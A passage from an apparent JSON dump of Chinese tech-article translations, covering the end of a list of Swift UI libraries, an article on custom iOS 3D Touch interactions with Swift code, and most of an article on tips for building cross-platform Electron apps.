stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*D4s0wPfFvhL6Gms3.gif)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 11**](https://github.com/vikmeup/SCLAlertView-Swift)\n\n**SCLAlertView-Swift: 基于 Swift 的漂亮的弹窗动效[Github 上有 3056 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/1*uulkw0hlGZ50pCW7sepXxg.png)\n\n* * *\n\n#### [**No 12**](https://github.com/SwiftKickMobile/SwiftMessages)\n\n**SwiftMessages: 基于 Swift 的各式各样的提示信息[Github 上有 1356 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*5VZX8MQMv_E7M5eZ.png)\n\n* * *\n\n#### [**No 13**](https://github.com/xmartlabs/XLActionController)\n\n**XLActionController:基于 Swift 的完全自定义并且可扩展的 action sheet controller[Github 上有 1346 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*Ezjf117xUyeSdlkZ.png)\n\n* * *\n\n#### [**No 14**](https://github.com/corin8823/Popover)\n\n**Popover: 像 Facebook 应用里的气球呼出框，用纯 Swift 语言编写[Github 上有 852 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*QiXrqMg9_DKRS5ns.png)\n\n* * *\n\n#### [**No 15**](https://github.com/IcaliaLabs/Presentr)\n\n**Presentr: 对 传统 ViewController present 的封装[Github 上有 635 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*gDCbeNyxUtzK4xsh.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 16**](https://github.com/Ramotion/folding-cell)\n\n**FoldingCell: 一种的内容展开样式的扩展，灵感来源是现实生活中的折纸[Github 上有 4285 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*BcYycjoTHyfYzB0A.gif)\n\n* * *\n\n#### [**No 17**](https://github.com/Ramotion/expanding-collection)\n\n**ExpandingCollection: 一个可以实现卡片弹出并预览部分信息的控制器[Github 上有 2425 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*h03huBSotAseyrU9.gif)\n\n* * *\n\n#### [**No 18**](https://github.com/gontovnik/DGElasticPullToRefresh)\n\n**DGElasticPullToRefresh: 基于 Swift 语言，富含弹性及延展性的下拉刷新组件[Github 上有 2308 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*mRRTh4MWUdn94El9.gif)\n\n* * *\n\n#### [**No 19**](https://github.com/Yalantis/Persei)\n\n**Persei: 基于 Swift 语言，顶部菜单的动效，针对于 UITableView 、 UICollectionView 、 UIScrollView[Github 上有 2269 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*kdg0TpL3qZ3qcGSm.gif)\n\n* * *\n\n#### [**No 20**](https://github.com/Instagram/IGListKit)\n\n**IGListKit: 一个以数据驱动的 UICollectionView 框架，旨在组建更快更灵活的列表，Instagram 下的项目[Github 上有 2443 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/1*lSAhFrBx3AWBuJG7QTSJ7w.png)\n\n* * *\n\n#### [**No 21**](https://github.com/Yalantis/PullToMakeSoup)\n\n**PullToMakeSoup: 能够被很简单的增加到 UIScrollView 中的自定义下拉刷新动效。**\n\n![](https://cdn-images-1.medium.com/max/800/0*007zafIV7EdJPLRr.gif)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 22**](https://github.com/dzenbot/DZNEmptyDataSe)\n\n**DZNEmptyDataSet: 数据为空状态的 UI 库[Github 上有 6552 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*mpnGJKeLvyJtU_Cf.png)\n\n* * *\n\n#### [**No 23**](https://github.com/ephread/Instructions)\n\n**Instructions: 首次使用的教程指导[Github 上有 2256 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*TCiWydKmvVgk6mqM.png)\n\n* * *\n\n#### [**No 24**](https://github.com/hyperoslo/Presentation)\n\n**Presentation: 新手引导页，欢迎页及其动效[Github 上有 1680 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*IGV-pJwVkE2ING1M.gif)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 25**](https://github.com/ViccAlexander/Chameleon)\n\n**Chameleon: 为 Swift 开发者准备的扁平化风格的颜色[Github 上有 7071 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*h3VFF1ffUXXR2ctT.png)\n\n* * *\n\n#### [**No 26**](https://github.com/hyperoslo/Hue?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more)\n\n**Hue: 万能的颜色工具，以后再也不用写 Swift 代码啦[Github 上有 1612 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*ajcIoqEF96b6_d_9.png)\n\n* * *\n\n#### [**No 27**](https://github.com/yannickl/DynamicColor)\n\n**DynamicColor: 更简单的控制颜色的 Swift 拓展插件[Github 上有 1310 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*QHF4a2BHbeW60x6z.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 28**](https://github.com/BeauNouvelle/FaceAware)\n\n**FaceAware:这个插件帮助 UIImageView 将中心聚焦到照片的脸上，前提是这个照片使用了 AspectFill [Github 上有 1424 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*BcUcL7F5axoySUSs.png)\n\n* * *\n\n#### [**No 29**](https://github.com/gkye/ComplimentaryGradientView)\n\n**ComplimentaryGradientView: 通过源图片的主要颜色生成颜色渐变[Github 上有 384 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*NspyRgd8zPEW_lZ_.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 30**](https://github.com/danielgindi/Charts)\n\n**Charts: iOS 应用的漂亮图表[Github 上有 11433 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*4UgiG5eUyki5J5jp.png)\n\n* * *\n\n#### [**No 31**](https://github.com/philackm/Scrollable-GraphView)\n\n**Scrollable-GraphView:针对于 iOS 应用的自适应滚动图形，用于将离散的数据集进行可视化[Github 上有 3065 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*P10QB9udMbI8suPE.gif)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 32**](https://github.com/Ramotion/paper-switch)\n\n**Paper Switch:这是一个 Swift 的模块组件，当页面中的开关打开后该页面填充底色[Github 上有 1849 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*RHln1_4XtNI12htk.gif)\n\n* * *\n\n#### [**No 33**](https://github.com/Ramotion/circle-menu)\n\n**Circle Menu:简单优雅的环形布局菜单[Github 上有 1768 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*o5YykfpI55gbLu1N.gif)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 34**](https://github.com/patchthecode/JTAppleCalendar)\n\n**JTAppleCalendar: 非正式的 Swift Apple 日历库。可查看、操作。适用于 iOS 和 tvOS [Github 上有 1026 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/1*hX1pCnv8BXCBy2aFRV9mwg.gif)\n\n* * *\n\n#### [**No 35**](https://github.com/itsmeichigo/DateTimePicker)\n\n**DateTimePicker: 一个漂亮的用于选择时间和日期的iOS UI 组件[Github 上有 455 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*hdfLv7NTX8kYmj5M.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 36**](https://github.com/xmartlabs/Eureka)\n\n**Eureka: 优雅的 iOS 表格组件[Github 上有 4117 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*G09IlkFncNzugk19.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 37**](https://github.com/mamaral/Neon)\n\n**Neon:适用于 iPhone 和 iPad ，更强大 UI 布局框架[Github 上有 3439 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*A1UJvTEZj0jpyUiw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 38**](https://github.com/eBay/NMessenger)\n\n**NMessenger: 更快更轻量级的消息组件，构建于 AsyncDisplaykit 并且由 Swift 编写[Github 上有 1492 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*yCItfGGz3VARz968.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 39**](https://github.com/ramotion/reel-search)\n\n**Reel-search:带有模糊搜索的搜索组件[Github 上有 1364 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*R-1gX6buTURIFhsl.gif)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n### 资源\n\n#### [No 1) 学习](https://goo.gl/lhGClQ)\n\n![](https://cdn-images-1.medium.com/max/600/1*f6aNZSu1PcblXFQT4FgHGQ.png)\n\n[所有的 iOS 10 编程课程: 开发 21 个应用包括Uber、Instagram 和 Tinder](https://goo.gl/lhGClQ)\n\n**[22,575 次推荐, 4.7/5 评分]**\n\n#### [No 2) 面试](https://goo.gl/xlvQ4y)\n\n![](https://cdn-images-1.medium.com/max/600/1*nV0BA-f3OOWrzWQYW_5J_A.png)\n\n[软件工程师面试的答疑解惑: 学习往期的谷歌面试](https://goo.gl/xlvQ4y)\n\n**[210 次推荐, 4.8/5 评分]**\n\n#### [No 3) 建立网站](https://goo.gl/zWn3Pw)\n\n![](https://cdn-images-1.medium.com/max/600/1*2QZq0xQA-0YDVB03T6iy1g.png)\n\n[给那些想在 5 分钟内建立网站的人](https://goo.gl/zWn3Pw)\n\n**[最便宜的一个]**\n\n![](https://cdn-images-1.medium.com/max/2000/1*pQ2wBDU_8uUMEzJezF5mSg.png)\n\n以上就是我说的开源 Swift UI 库。如果你喜欢这篇文章，快来下载我们的 [**iOS App.**](https://goo.gl/dJi5H6) 每天阅读基于你使用的编程语言的 10 篇文章。\n"
  },
  {
    "path": "TODO/3d-force-touch-beyond-peek-pop.md",
    "content": "> * 原文链接: [3D Force Touch: beyond peek & pop](https://medium.com/produkt-blog/3d-force-touch-beyond-peek-pop-c448edc2b1f5#.4miueafqm)\n* 原文作者 : [Victor Baro](https://medium.com/@victorbaro)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [shiguol(SAlex)](https://github.com/shiguol)\n* 校对者 : [cdpath (cdpath)](https://github.com/cdpath) [nathanwhy (nathan)](https://github.com/nathanwhy)\n* 状态 : 完成\n\n# 3D Force Touch 的新玩儿法 \n\n几天前我买了部 iPhone 6S，接着我被 **3D touch** 功能深深地吸引住了，于是迫不及待地体验了一番。\n\n<iframe width=\"382\" height=\"214\" src=\"https://www.youtube.com/embed/d-hlQISXj8M\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n在一个应用程序中，Peek 和 pop 是一个很出彩的特性。不过话说回来：我们没有太多的控制权。我们只能添加一个预览功能和几个动作 - iOS 系统会管理剩下的工作。\n\n因为我探索了 _3D Touch_ 功能，就一直在思考与内容互动的新方式。Peek 和 pop 是一个很好的交互方式; 但我真正想要的是创建自定义的控制技术。\n\n我们需要考虑的是，由于 _3D touch_ 仅在 iPhone 6S 和 6S Plus 上提供，所以不应该存在**仅**能使用该动作执行的功能。用户应不依赖 _3D touch_ 也可以完成所有功能（就像使用 Peek 和 pop 实现的一样）, 而 _3D touch_ 最好只提供额外的交互体验。\n\n#### 访问 force 属性\n\n新的 force 属性在 UITouch 类中。如果想获得用户 _touch_ 事件，我们应该重写 _touches_ 相关方法（类如：touchesBegan, touchesMoved, touchesEnded）, 或者继承相关类（例如 UIView，UIButton；见例1），抑或继承实现一个手势（见下文，例 2 和 例 3）；\n\n\n    import UIKit.UIGestureRecognizerSubclass\n\n    class ForceGestureRecognizer: UIGestureRecognizer {\n\n        var forceValue: CGFloat = 0\n\n        override func touchesBegan(touches: Set, withEvent event: UIEvent) {\n            super.touchesBegan(touches, withEvent: event)\n            state = .Began\n            handleForceWithTouches(touches)\n        }\n\n        override func touchesMoved(touches: Set, withEvent event: UIEvent) {\n            super.touchesMoved(touches, withEvent: event)\n            state = .Changed\n            handleForceWithTouches(touches)\n        }\n\n        override func touchesEnded(touches: Set, withEvent event: UIEvent) {\n            super.touchesEnded(touches, withEvent: event)\n            state = .Ended\n            handleForceWithTouches(touches)\n        }\n\n        func handleForceWithTouches(touches: Set) {\n            if touches.count != 1 {\n                state = .Failed\n                return\n            }\n            guard let touch = touches.first else {\n                state = .Failed\n                return\n            }\n            forceValue = touch.force\n        }\n    }\n\n\n在这里，我们可以看到 force 属性值介于 0.0 ~ 6.667 之间；关于该值的更多讨论，推荐看这篇文章[探索 Apple`s 3D Touch](https://medium.com/@rknla/exploring-apple-s-3d-touch-f5980ef45af5).\n\n#### 例 1: Force Button\n\n**Force Button** 是 UIButton 的子类，可根据按压的力量变化来修改按钮的阴影属性（见文章开头处视频）。\n\n    func shadowWithAmount(amount: CGFloat) {\n        self.layer.shadowColor = shadowColor.CGColor\n        self.layer.shadowOpacity = shadowOpacity\n        let widthFactor = maxShadowOffset.width/maxForceValue\n        let heightFactor = maxShadowOffset.height/maxForceValue\n        self.layer.shadowOffset = CGSize(width: maxShadowOffset.width - amount * widthFactor, height: maxShadowOffset.height - amount * heightFactor)\n        self.layer.shadowRadius = maxShadowRadius - amount\n    }\n\n上面的函数依据按压力的大小来修改按钮的阴影。你可以找到另外一个例子，解释了如何依据按压力的大小来缩放按钮，[文章在这里]（https://github.com/Produkt/3dForceTouchExamples）。\n\n这个按钮使用 _3D touch_ 技术只实现了视觉上的反馈，它没有任何额外的功能。其实，它可以在用户用力按压按钮时系统回调的事件（如 _UIControlEvents.ForceMaxInside）中进行我们自己额外的事件响应。\n\n#### Example 2: Zooming\n\n<iframe width=\"382\" height=\"214\" src=\"https://www.youtube.com/embed/8RcDqH4kfo8\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n我们都是用来双指的捏来实现放大和缩小，这样操作起来感觉自然。然而，有时候当你单手拿着手机时，双指缩放手势操作起来会感觉怪怪的。谷歌地图应用程序尝试通过使用 _doble-tap-longPress-drag_ 手势来解决这个的问题（这感觉怪怪的，如果你不使用它）。\n\n当使用 ForceGestureRecognizer 手势时（见上面的代码），该手势在你拖拽时也很容易放大和缩小。如果你有一个 iPhone6S 可以试一试，这感觉太棒了。\n\n为了达到这个效果，我简单地应用一个 CATransform3D 缩放效果到 ImageView 的层。这样，图像从它的中心进行缩放。通过按住并移动我的手指（缩小到一个特定的区域），我就可以根据手指的位置更新图片的锚点。\n\n    func imagePressed(sender: ForceGestureRecognizer) {\n        let point = sender.locationInView(self.view)\n        let imageCoordPoint = CGPointMake(point.x - initialFrame.origin.x, point.y - initialFrame.origin.y)\n\n        var xValue = max(0, imageCoordPoint.x / initialFrame.size.width)\n        var yValue = max(0, imageCoordPoint.y / initialFrame.size.height)\n\n        xValue = min(xValue, 1)\n        yValue = min(yValue, 1)\n\n        let anchor = CGPointMake(xValue, yValue)\n        mainImageView.layer.anchorPoint = anchor\n        let forceValue = max(1, sender.forceValue)\n        mainImageView.layer.transform = CATransform3DMakeScale(forceValue, forceValue, 1)\n\n        if sender.state == .Ended {\n            mainImageView.layer.anchorPoint = CGPointMake(0.5, 0.5)\n            mainImageView.layer.transform = CATransform3DIdentity\n        }\n    }\n\n最后一个关于 _3D_touch_ 的交互特性我觉得就是**控制动画**了.不过，实话说，我还没有发现这种相互作用的任何有趣的用途（不是作为精细调谐），但我想提一提它（有人可能会发现它很有用）。\n\n这里有一个动画视频是由 _3D_touch_ 进行的控制。\n\n<iframe width=\"382\" height=\"214\" src=\"https://www.youtube.com/embed/LXQ-iSYhHFI\" frameborder=\"0\" allowfullscreen=\"\"></iframe></div>\n\n这里还有给设计师和工程师的一些示例演示了使用 _3D_touch_ 进行交互的方法。我希望我已经说服你去尝试 _3D_touch_。\n\n我想通过推荐[FlexMonkey 的博客]（http://flexmonkey.blogspot.com.es）最新文章：[3D Retouch]（http://flexmonkey.blogspot.com.es/2015/10/3D-retouch-experimental-retouching-app.html），在这篇文章中，他使用 3D Touch 修改滤镜的强度。\n\n整个项目在这里[github]（https://github.com/Produkt/3dForceTouchExamples）。\n\n_特别感谢 @pivalue_\n"
  },
  {
    "path": "TODO/4-must-know-tips-for-building-cross-platform-electron-apps.md",
    "content": "> * 原文地址：[4 must-know tips for building cross platform Electron apps](https://blog.avocode.com/blog/4-must-know-tips-for-building-cross-platform-electron-apps)\n* 原文作者：[Kilian Valkhof](https://blog.avocode.com/authors/kilian-valkhof)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[huanglizhuo](https://github.com/huanglizhuo/)\n* 校对者：[DeadLion](https://github.com/DeadLion) , [zhouzihanntu](https://github.com/zhouzihanntu)\n\n# 开发 Electron app 必知的 4 个 tips \n\n[Electron](https://electron.atom.io) ，是包括 Avocode 在内的众多 app 采用的技术，能让你快速实现并运行一个跨平台桌面应用。有些问题不注意的话，你的 app 很快就会掉到“坑”里。无法从其它 app 中脱颖而出。\n\n\n\n这是我 2016 年 5月 在 Amsterdam 的 Electron Meetup 上演讲的手抄版，加入了对 api 变化的考虑。注意，以下内容会很深入细节，并假设你对 Electron有一定了解。\n\n**首先，我是谁**\n\n\n\n我是 Kilian Valkhof ，一个前端工程师，UX 设计师，app 开发者，取决于你的提问对象是谁。我有超过10年的互联网从业经验，在各种环境下构建过桌面应用，比如 GTK 和 QT ，当然也包括 Electron。\n\n\n\n你或许应该试试我最近开发的一个自动保存笔记的免费跨平台应用 [Fromscratch](https://fromscratch/) 。\n\n\n\n在 Fromscratch 的开发过程中，我花了大量时间确保应用在三大平台上都能保持良好运行，并找到了在 Electron 中的实现方法。这些都是我挖坑填坑过程中积累起来的。\n\n\n\n使用 Electron 让 app 使用感和一致性良好并不难，你只需要注意以下细节。\n\n## **1\\. 在 macOS 上复制粘贴**\n\n\n\n想象一下，你发布了一款记笔记的应用。你在 Linux 机器上进行了多次使用和测试,然而你在 ProductHunt 上收到了一个友善的消息：\n\n\n\n![cp.png](https://lh6.googleusercontent.com/TlfwI6UWMb7sFhVU-KIE3C25bBcl0EIPm50HGgHnXDhY0NBGRjzgiNGfM3u3pzGgXvctkKaqBIp6BTIfo2bQuaA7oY1_pNmlYclk44qW-afSILxCIALGu2-KJYBlaZL0FM_DgkM4)\n\n\n\n     if (process.platform === 'darwin') {\n\n           var template = [{\n\n             label: 'FromScratch',\n\n             submenu: [{\n\n               label: 'Quit',\n\n               accelerator: 'CmdOrCtrl+Q',\n\n               click: function() { app.quit(); }\n\n             }]\n\n           }, {\n\n             label: 'Edit',\n\n             submenu: [{\n\n               label: 'Undo',\n\n               accelerator: 'CmdOrCtrl+Z',\n\n               selector: 'undo:'\n\n             }, {\n\n               label: 'Redo',\n\n               accelerator: 'Shift+CmdOrCtrl+Z',\n\n               selector: 'redo:'\n\n             }, {\n\n               type: 'separator'\n\n             }, {\n\n               label: 'Cut',\n\n               accelerator: 'CmdOrCtrl+X',\n\n               selector: 'cut:'\n\n             }, {\n\n               label: 'Copy',\n\n               accelerator: 'CmdOrCtrl+C',\n\n               selector: 'copy:'\n\n             }, {\n\n               label: 'Paste',\n\n               accelerator: 'CmdOrCtrl+V',\n\n               selector: 'paste:'\n\n             }, {\n\n               label: 'Select All',\n\n               accelerator: 'CmdOrCtrl+A',\n\n               selector: 'selectAll:'\n\n             }]\n\n           }];\n\n           var osxMenu = menu.buildFromTemplate(template);\n\n           menu.setApplicationMenu(osxMenu);\n\n       }\n\n\n如果你已经有了菜单，你需要将以上 剪切/复制/粘贴 命令添加到你的已有菜单中。\n\n### 1.1 添加 icon\n\n...否则你的应用在 ubuntu 上就是这样的:\n\n\n\n![icon.png](https://lh3.googleusercontent.com/hgM2iMDPsJDn-QbmIwi6TlaBygW7twHNplrfrUrGk8lp-ilSDg81t42hT7jgYjrS58PA9undzhXds-NdXxmoE5HQ6dfVie-k2WqLJL6xN8o0UIkgH3RSTY3byGzlMOx5uv5dySvF)\n\n\n\n许多应用都有这样的问题，因为在 Windows 和 macOS 系统上，任务栏或 dock 中显示的图标就是应用图标(一个 .ico 或者 .icns)，而在 Ubuntu 系统上显示的却是你的窗口图标。 。添加这个很简单。在  `BrowserWindow`  选项中，申明 icon：\n\n    mainWindow = new BrowserWindow({\n\n         title: 'ElectronApp',\n\n         *icon: __dirname + '/app/assets/img/icon.png',*\n\n       };\n这也会让你的 Windows app 左上角显示一个小图标。\n\n### 1.2 UI Text 不可选\n\n当使用浏览器，文字编辑工具，或者其它原生应用时，你应该注意到你不可以选择菜单上的文字，比如 chrome。在 Electron 中让 app 变的怪异的一个方法就是无意中触发了文字选择，或者高亮了 UI 组件。\n\n\n\nCSS 在这里可以帮助我们：向所有按钮，菜单，或者其它任何 UI 元素，添加下面的代码：\n\n     .my-ui-text {\n\n           *-webkit-user-select:none;*\n\n       }\n\n\n这样文字就不可选了。它更像原生应用了。一个最简单的测试方法就是  ctrl/cmd + A  选中你的应用中所有可选的文字，可以有助于你快速识别哪些还需要添加这个效果。\n\n### 1.3 你需要在三大平台上分别使用三种图标\n\n\n\n说实在的，这真是太不方便了，在 Windows 上你需要 .ico 文件，在 macOS 上你需要 .icns 文件，而在 Linux 上你需要 .png 文件。\n\n\n\n![facepalm.jpg](https://lh6.googleusercontent.com/_f669yBlzhJADMhMhrZtR3pwIRg5GhSmIHd_CvDWg_hL6UnpwfoxXHZ37Wl6XW4uBMzw8df2PNJeQsIQnkVO6LTrXyYduBljhCbel0SkU05DAlrR8rD1jRnrtRl_XDFtsKJEC6hl)\n\n\n\n幸运的是普通的 png 图可以生成另俩个 icon。下面这是最方便的做法：\n\n\n\n1\\. 制作一张 1024x1024 像素的 PNG，这意味着你已近完成 1/3 的工作了。 (Linux, check!)\n\n2\\.  对于 Windows，用 [icotools](http://www.nongnu.org/icoutils/) 生成 .ico:\n\n   `icontool -c icon.png > icon.ico`\n\n3\\.  对于 macOS，用 png2icns 生成 icns:\n\n   `png2icns icon.icns icon.png`\n\n4\\. 完成了!\n\n在 macOS 上也有像 [img2icns](http://www.img2icnsapp.com/) 这样的 GUI 工具，或者 [iconverticons](https://iconverticons.com/online/) 这样的 web 工具，但我并没有用过。\n\n### 1.4 意外之喜!\n\nelectron-packager 不需要额外的 icon 来为给定的平台选择正确的图标：\n\n    $ electron-packager . MyApp *--icon=img/icon* --platform=all --arch=all --version=0.36.0 --out=../dist/ --asar\n好吧，我是写完构建针对不同版本选用不同 icon 脚本之后才发现的 :(\n\n\n\n## **2\\. 白色 loading 状态是属于浏览器行为**\n\n\n\n没有什么比白色的 loading 更能代表 Electron app 只是个内嵌浏览器的本质了。不过我们可以通过两种手段来避免 loading 状态：\n\n### 2.1 指定 BrowserWindow 背景颜色\n\n如果你的应用没有白色背景，那么一定要在 BrowserWindow 选项中明确声明。这并不会阻止应用加载时的纯色方块，但至少它不会半路改变颜色：\n\n\n\n     mainWindow = new BrowserWindow({\n\n         title: 'ElectronApp',\n\n         *backgroundColor: '#002b36',*\n\n       };\n\n### 2.2 在你应用加载完成前隐藏它:\n\n因为应用实际上是在浏览器中运行的，我们可以选择在所有资源加载完成前隐藏窗口。在开始前，确保隐藏掉浏览器窗口：\n\n     var mainWindow = new BrowserWindow({\n\n           title: 'ElectronApp',\n\n           *show: false,*\n\n       };\n然后在所有东西都加载完成时，显示窗口并聚焦在上面提醒用户。这里推荐使用  `BrowserWindow` 的 \"ready-to-show\" 事件实现，或者用 webContents 的 'did-finish-load' 事件。\n\n     mainWindow.on('ready-to-show', function() {\n\n           mainWindow.show();\n\n           mainWindow.focus();\n\n       });\n\n\n这里记得要调用 foucs ，提醒用户你的应用已经加载完成了。\n\n## **3\\. 保持窗口的大小和位置**\n\n这个问题在很多原生应用中也存在，我发现这是最令人头疼的事情之一。本来一个位置处理很好的 app 在重启时所有的位置又变为默认的了，虽然这对于开发者来说是很合理的，但这会让人有种想撞墙的冲动。千万不要这样做。\n\n相反，保存窗口的大小和位置，并在每次重启时恢复，你的用户会很感激的。\n\n### 3.1 预编译方案\n\n\n\n有 [electron-window-state](https://www.npmjs.com/package/electron-window-state) 和 [electron-window-state-manager](https://www.npmjs.com/package/electron-window-state-manager) 两种预编译方案。两种都能用，好好读文档并且小心边界情况，比如最大化你的应用。如果你很想快一点编译完成并看到成品，你可以采用这两种方案。\n\n### 3.2 自己处理滚动\n\n你可以自己处理滚动，这也正是我用的方案，主要是基于我前几年给  [Trimage](https://trimage.org) 写的代码的基础上实现的。并不需要写很多的代码，而且可以给你很多控制权。下面是演示：\n\n#### 3.2.1 把状态保存起来\n\n首先我们得把应用的位置和大小保存在某个地方。用 [Electron-settings](https://github.com/nathanbuchar/electron-settings) 可以轻松做到这一点，但我选择用 [node-localstorage](https://www.npmjs.com/package/node-localstorage) 因为它更简单。\n\n    var JSONStorage = require('node-localstorage').JSONStorage;\n\n       var storageLocation = app.getPath('userData');\n\n       global.nodeStorage = new JSONStorage(storageLocation);\n\n如果你把数据保存到  _`getPath('userData')`_ ， electron 将会把它保存到自己的应用设置里，在 _`~/.config/YOURAPPNAME`_ 位置，在 Windows 上就是你的用户文件夹下的 appdata 文件夹中。\n\n#### 3.2.2 打开应用时恢复你的状态\n\n    var windowState = {};\n\n         try {\n\n           windowState = global.nodeStorage.getItem('windowstate');\n\n         } catch (err) {\n\n           // the file is there, but corrupt. Handle appropriately.\n\n         }\n\n当然了，第一次启动的时是不可行，你得处理这种情况。可以提供默认设置，一旦你在 JavaScript 对象中获取到了前一次的状态，就使用保存的状态信息去设置 BrowserWindow 的大小：\n\n    var mainWindow = new BrowserWindow({\n\n         title: 'ElectronApp',\n\n         x: windowState.bounds && windowState.bounds.x || undefined,\n\n         y: windowState.bounds && windowState.bounds.y || undefined,\n\n         width: windowState.bounds && windowState.bounds.width || 550,\n\n         height: windowState.bounds && windowState.bounds.height || 450,\n\n       });\n正如你看到的那样，我通过提供回退值来添加默认设置。\n\n现在在 Electron 中，在开启应用时并不能以最大化状态启动应用，因此我们得在创建好 BrowserWindow 之后再最大化窗口。\n\n    // Restore maximised state if it is set.\n\n       // not possible via options so we do it here\n\n       if (windowState.isMaximized) {\n\n         mainWindow.maximize();\n\n       }\n\n#### 3.2.3 在 move resize 和 close 时保存状态:\n\n在理想世界中你只需要在关闭应用时保存你的窗口状态，但事实上它错过了很多未知原因导致的应用终止事件，比如断电之类的。\n\n在每次 move resize 事件时获取和保存状态可以让我们可以恢复上次已知状态的位置和大小。\n\n     ['resize', 'move', 'close'].forEach(function(e) {\n\n         mainWindow.on(e, function() {\n\n           storeWindowState();\n\n         });\n\n       });\n\n    And the storeWindowState function:\n\n    var storeWindowState = function() {\n\n         windowState.isMaximized = mainWindow.isMaximized();\n\n         if (!windowState.isMaximized) {\n\n           // only update bounds if the window isn't currently maximized\n\n           windowState.bounds = mainWindow.getBounds();\n\n         }\n\n         global.nodeStorage.setItem('windowstate', windowState);\n\n       };\n\nstoreWindowState 函数有个小小的问题：如果你最小化一个最大化状态的原生窗口时，它会恢复到前一个状态，这意味着本来我们想要保存的是最大化的状态，但我们并不想覆盖掉前一个窗口的大小（没有最大化的窗口），因此如果你最大化，关闭，重新打开，取消最大化，这时应用的位置是你最大化之前的位置。\n\n## **4\\. 一些小贴士**\n\n下面是一些很小很简短有用的小技巧。\n\n### 4.1 快捷键\n\n通常来讲 Windows 和 Linux 使用 Ctrl，而 macOS 用 Cmd 。为了避免给每个快捷键（在 Electron 这叫做加速器 _Accelerator_ ）添加两次，你可以用  \"CmdOrCtrl\" 一次性给所有的平台进行设置。\n\n### 4.2 使用系统字体 San Francisco\n\n用系统默认的字体意味着你的应用可以和操作系统看起来很和谐。为了避免给每个系统都单独设置字体，你可以用下面的 CSS 代码块速实现更随系统字体：\n\n     body {\n\n         font: caption;\n\n       }\n\n\"caption\" 是 CSS 中关键字，它会连接到系统指定字体。\n\n### 4.3 系统颜色\n\n和系统字体一样，你也可以用  [System colors](http://www.sitepoint.com/css-system-styles/) 让系统决定你应用的颜色。这其实是一个在 CSS3 中已经弃用的未完全实现的属性，但在可见的未来中它并不会被很快废弃。\n\n### 4.4 布局\n\nCSS 是个相当强大的布局方式，尤其是把  `calc()` 和 flexbox 结合到一起时，但这并不会减少在像 GTK, Qt 或者 Apple Autolayout 这类老旧的 GUI 框架中需要做的工作。你可以用  [Grid Stylesheets](https://gridstylesheets.org/)（这是一个基于约束的布局系统）  采用类似的方式实现你 app 的 GUI 。\n\n## **感谢!**\n\n在 Electron 中构建应用是一件很有趣的事情并且会让你有很多的收获 : 你可以在很短的时间内实现并运行一个跨平台的应用。如果你之前从没有用过 Electron 我希望这篇文章可以引起你足够的兴趣去尝试它。很多的收获[Electron](http://electron.atom.io) 的网站有很全的文档以及很多很酷的 Demo 可以让你尝试它的 API \n\n如果你已经在写 Electron 应用了，我希望上面的可以鼓励你更多的考虑你的 app 